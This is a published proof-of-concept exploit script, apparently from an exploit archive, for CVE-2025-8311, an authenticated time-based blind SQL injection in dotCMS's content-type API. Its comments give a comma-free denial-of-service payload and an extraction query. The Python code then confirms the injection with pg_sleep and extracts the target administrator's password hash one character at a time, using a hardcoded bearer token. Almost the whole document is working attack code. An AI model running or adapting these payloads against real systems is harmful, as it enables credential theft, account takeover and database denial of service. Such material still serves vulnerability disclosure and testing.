dotCMS 25.07.02-1 – Authenticated Blind SQL Injection
#!/usr/bin/env python3 # Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection # Google Dork: N/A # Date: 2025-09-09 # Exploit Author: Matan Sandori (OSCP, OSEP, OSWE) # Vendor Homepage:*https://www.dotcms.com/ # Software Link: https://github.com/dotCMS/core/releases/tag/v25.07.02-1 (tested on: v25.07.02-1) # Version: Affects 24.03.22 and later (see vendor advisory for fixed versions) # Tested on: dotCMS v25.07.02-1 (Docker / Linux) # CVE: CVE-2025-8311 # The application blocks the comma character, so a simple DoS payload like: # ') AND 1=(SELECT 1 FROM generate_series(1,500000) AS a CROSS JOIN generate_series(1,500000) AS b) AND ('FYHh' LIKE 'FYHh # will not work. # Instead, a comma-free payload can be used, for example: # ') AND 1=(WITH RECURSIVE nums(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM nums WHERE i < 1000000) SELECT MIN(1) FROM nums AS a CROSS JOIN nums AS b) AND ('A' LIKE 'A # Example query for time-based extraction of data: # ') AND 1=(SELECT CASE WHEN (substring(emailaddress from 1 for 1)='a') THEN (SELECT 1 FROM pg_sleep(10) WHERE firstname='Admin') ELSE 1 END FROM user_ WHERE firstname='Admin') AND ('1' LIKE '1 # This PoC demonstrates time-based blind SQLi. Error-based SQLi is also possible and allows faster data extraction. # Using sqlmap with the --no-cast flag is recommended, as it will not work otherwise. import sys import time import string import urllib3 import requests ### User configuration HOST="127.0.0.1:8443"; TARGET_ACCOUNT = "admin@dotcms.com"; SLEEP_TIME=10; TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhcGk0ZjFhNGYyMi1lYzI5LTQ4OTUtYTBlYi1jYjRkYjEzOGQ2MDAiLCJ4bW9kIjoxNzUxOTQzOTEwMDAwLCJuYmYiOjE3NTE5NDM5MTAsImlzcyI6ImRvdGNtc19kZXYiLCJsYWJlbCI6InRva2VuIiwiZXhwIjoxODQ2NjQxNjAxLCJpYXQiOjE3NTE5NDM5MTAsImp0aSI6IjMyNjIxYmRkLTNhYjEtNGRiMi1iNjEyLWMzMDg5M2EyODBiZSJ9.jqXkfM4Itxy_q2kA10srcL_3NBBx6keXx2PM0mESPFI"; CHARS = string.printable; urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning); def encode_all_characters(string): return "".join("%{0:0>2x}".format(ord(char)) for char in string); def send_request(payload=""): payload = encode_all_characters(payload); burp0_url = f"https://{HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{payload}"; burp0_headers = {"Accept-Encoding": "gzip, deflate, br", "Accept": "*/*", "Accept-Language": "en-US;q=0.9,en;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Connection": "close", "Cache-Control": "max-age=0", "Authorization": f"Bearer {TOKEN}"}; return requests.get(burp0_url, headers=burp0_headers, verify=False); def send_sqli(q): query = "') AND 1=(" + q + ") AND ('A' LIKE 'A"; return send_request(query); def test_sqli(): print("[!] Checking target responsiveness...") r = send_request(); if '{"entity":[],"errors":[],"i18nMessagesMap":{},"messages":[],"pagination":{"currentPage":' not in r.text: print("[-] Target did NOT return the expected JSON structure. Exiting."); sys.exit(1); print("[+] Target responded correctly.\n"); r = send_sqli(f"SELECT 1 FROM PG_SLEEP({SLEEP_TIME})"); if (not r.elapsed.total_seconds() >= SLEEP_TIME): print("[-] Target did not pause as expected; Exiting."); sys.exit(1); def retrieve_password(TEMPLATE, CHARS): CHARS = ":" + CHARS.replace(":", ''); output = ""; index = 1; while True: for character in CHARS: query = str(TEMPLATE).replace("[_INDEX_PLACEHOLDER_]", str(index)).replace("[_ASCII_PLACEHOLDER_]", str(ord(character))); r = send_sqli(query); if (r.elapsed.total_seconds() >= SLEEP_TIME): print(f"[+] Found character: {character}"); index += 1; output += character; break; else: break; return output; test_sqli(); print("[+] Target is Vulnerable to SQL Injection.\n"); TEMPLATE = f"SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) THEN (SELECT 1 FROM pg_sleep({SLEEP_TIME / 2}) WHERE emailaddress = '{TARGET_ACCOUNT}') ELSE 1 END) from user_ where emailaddress = '{TARGET_ACCOUNT}'"; password = retrieve_password(TEMPLATE, CHARS); print(f"[+] Retrieved hash/password for {TARGET_ACCOUNT}: {password}"); |